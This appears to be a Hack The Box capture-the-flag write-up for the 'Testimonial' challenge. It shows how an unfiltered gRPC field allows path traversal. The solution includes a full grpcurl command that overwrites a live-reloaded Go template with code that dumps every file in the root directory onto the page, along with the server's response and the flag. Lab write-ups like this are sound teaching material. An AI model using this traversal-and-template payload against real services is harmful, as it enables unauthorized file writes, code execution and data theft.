Testimonial
Description
As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.
Analysis
There's many things to consider in this (somewhat) simple app.
There are 2 services, HTTP and GRPC.
Both are exposed to outside world
HTTP does validation and sends request to GRPC
Nothing stops us by directly interacting with GRPC
LFI in GRPC
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
HTTP filters our name, but GRPC doesnt. This introduces LFI vulnerability.
We can write files anywhere, but yet not read.
GRPC doesnt support direct interaction.
Error:
Failed to list services: server does not support the reflection API
But since we have access to proto files, we are able to make it interactive.
Application is deployed using air
☁️ Air - Live reload for Go apps
Live reload will regenerate files is it detects change.
Because air
will regenerate files on change we can send GRPC server such file that it will render contents when accessed. There's only 1 view so we will change index.templ
with our code and execute it.
To interact with GRPC server I used grpcurl.
└─$ grpcurl -plaintext -vv 83.136.248.119:57007 list
Failed to list services: server does not support the reflection API
└─$ grpcurl -plaintext -import-path ./challenge/pb -proto ./challenge/pb/ptypes.proto -vv 83.136.248.119:57007 list
RickyService
└─$ grpcurl -plaintext -import-path ./challenge/pb -proto ./challenge/pb/ptypes.proto -vv 83.136.248.119:57007 describe RickyService
RickyService is a service:
service RickyService {
rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
We need to send request to RickyService.SubmitTestimonial
to overwrite the file. Since we are overwriting index.templ
I mainly copy pasted same thing, deleted some markup and changed what golang should render.
package home
import (
"htbchal/view/layout"
"io/fs"
"fmt"
"os"
)
templ Index() {
@layout.App(true) {
<main class="container mt-5">
@Testimonials()
</main>
}
}
func GetTestimonials() []string {
fsys := os.DirFS("/") // Get files from root
files, err := fs.ReadDir(fsys, ".")
if err != nil {
return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
}
var res []string
for _, file := range files {
fileContent, err := fs.ReadFile(fsys, file.Name())
if err != nil { continue }
res = append(res, string(fileContent))
}
return res
}
templ Testimonials() {
for _, item := range GetTestimonials() {
<div class="card-body">
<p class="card-text">"{item}"</p>
<p class="text-muted">- Anonymous Testifier</p>
</div>
}
}
Convert the template to oneliner string: Cyberchef Recipe

Solution
customer:
../../view/home/index.templ
(Filename to write to)testimonial: Oneliner template (What data to write)
83.136.248.119:57007: GRPC_SERVER:PORT
RickyService.SubmitTestimonial: Endpoint
└─$ grpcurl -plaintext -import-path ./challenge/pb -proto ./challenge/pb/ptypes.proto -format text -d 'customer: "../../view/home/index.templ", testimonial: "package home\n\nimport (\n \"htbchal/view/layout\"\n \"io/fs\" \n \"fmt\"\n \"os\"\n)\n\ntempl Index() {\n @layout.App(true) { \n <main class=\"container mt-5\">\n @Testimonials()\n </main>\n }\n}\n\nfunc GetTestimonials() []string {\n fsys := os.DirFS(\"/\") \n files, err := fs.ReadDir(fsys, \".\") \n if err != nil {\n return []string{fmt.Sprintf(\"Error reading testimonials: %v\", err)}\n }\n var res []string\n for _, file := range files {\n fileContent, err := fs.ReadFile(fsys, file.Name())\n if err != nil { continue }\n
res = append(res, string(fileContent)) \n }\n return res\n}\n\ntempl Testimonials() {\n for _, item := range GetTestimonials() {\n <div class=\"card-body\">\n <p class=\"card-text\">\"{item}\"</p>\n <p class=\"text-muted\">- Anonymous Testifier</p>\n </div>\n }\n}"' -vv 83.136.248.119:57007 RickyService.SubmitTestimonial
Resolved method descriptor:
rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
Estimated response size: 36 bytes
Response contents:
message: "Testimonial submitted successfully"
Response trailers received:
(empty)
Sent 1 request and received 1 response

Flag: HTB{w34kly_t35t3d_t3mplate5}
Last updated